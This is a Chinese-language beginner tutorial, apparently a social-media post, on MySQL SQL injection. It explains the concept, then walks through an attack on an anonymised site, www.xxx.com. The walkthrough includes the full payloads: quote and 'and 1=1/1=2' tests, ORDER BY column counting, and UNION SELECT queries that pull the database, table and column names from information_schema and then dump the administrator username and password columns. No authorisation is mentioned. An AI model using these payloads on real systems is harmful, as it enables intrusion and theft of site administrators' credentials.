SQL注入原理:
一、SQL注入就是一种通过操作SQL语句进行攻击目的的技术 二、SQL语句是各大数据库中的语言代码
SQL注入的产生:
攻击者通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。
判断是否存在SQL注入:
传参的地方后面加上单引号 And 1=1 正常
存在注入And 1=2 不正常
或者 or xor 且或非
判断字段数:
Order by X 取临界值
MySQL注入中常用的函数:
User() 用户组权限Database() 数据库名Version() PHP版本@@verSion_compile_os 操作系统
0x06
MySQL注入中需要用的:
Information_schema.tables 记录表名信息的表
Information_schema.columns 记录列名信息的表
Table_name 表名
Column_name 列名
group_concat(column_name) 所有列名
Schema_table 数据库名数据库名中符号
‘.’代表下一级的意思
补充一下:MySQL5.0以上与MySQL5.0以下是有区别的。
开始实战
目标站点:www.xxx.com
打开目标站点,到处点点,找到一处带有参数的url地址
我们输入单引号
页面报错了,这个时候我们再输入 and 1=1
返回正常页面,我们再 and 1=2 看看
返回的是500错误,当我们and 1=1 时页面返回正常,and 1=2 时页面返回错误,有些时候返回500不要觉得没有,有些时候照样存在注入。由此我们可以判断这里是存在注入的。
接下来我们要判断有多少字段数,上面已经说到判断字段数,使用order by x 取临界值(在这里我提前测试过了已经知道是25个字段)
我们输入order by 25 返回正常,order by 26时返回错误,由此我们可以判定存在25个字段。接下来我们使用联合注入。
第一步、为什么我要在参数前面加上-号呢?因为要让他报错回显出来,那个字段数上才是可控的,或者可以使用参数后面加上 and 1=2
可以看到,爆出数字9与19,说明在9跟19这两个数是可控的,在这里我们就要用到我们上面说的函数了,查数据库名,查操作系统,查PHP版本,查用户组权限。这里我就直接查数据库名了。
语句:http://www.xxx.com/xxx.php?xxx=-408
union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
可以看到数据库为xxxi_db,接下来查询这个数据库下面的所有表名信息。
语句:http://www.xxx.com/xxx.php?xxx=-408
union select1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.tables where table_schema='xxxi_db(刚才查到的数据库名)'
在这里就要分析一下,你觉得那个表下面可能会存在存放后台管理员的账号密码的列,这里很明显是adminuser这个表。在这里还要说一下,如果'数据库名',这里也可以不用单引号,可以编码一下,编码至16进制就可不用单引号。下面我们要查询adminuser表下的列信息。
语句:http://www.xxx.com/xxx.php?xxx=-408
union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.columns where table_name='表名'
查询到adminuser这个表下面有三个列名。id,aduser,adpword。后台管理员账号密码肯定就存在aduser跟adpword这两个列里面了。接下来就是让他爆出里面的数据了。
语法:http://www.xxx.com/xxx.php?xxx=-408
union select 1,2,3,4,5,6,7,8,aduser,10,11,12,13,14,15,16,17,18,adpword,20,21,22,23,24,25 from 表名
做到这里,后台管理员的账号与密码就可以注入出来了,找后台这里就先不说了,因为这次主要说的是SQL注入。
如果大家觉得哪里理解不了,可以发消息至公众号,你们发的消息我都有看的。这次这篇文章是给刚入门的兄弟们学习的,大佬们就先跳过吧。